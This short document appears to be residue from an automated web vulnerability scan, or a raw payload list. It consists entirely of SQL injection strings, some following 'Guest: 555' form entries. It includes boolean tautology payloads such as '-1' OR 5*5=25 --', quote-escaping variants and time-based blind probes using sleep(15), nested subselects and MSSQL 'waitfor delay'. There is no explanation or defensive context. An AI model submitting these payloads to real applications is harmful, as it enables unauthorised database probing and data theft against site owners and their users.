-1 OR 5*5=25

-1' OR 5*5=25 --

-1" OR 5*5=25 --

-1' OR 5*5=25 or 'k1MImFDS'='

-1" OR 5*5=25 or "nR6AY1Ga"="

if(now()=sysdate(),sleep(15),0)

Guest:
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
555
-1; waitfor delay '0:0:15' --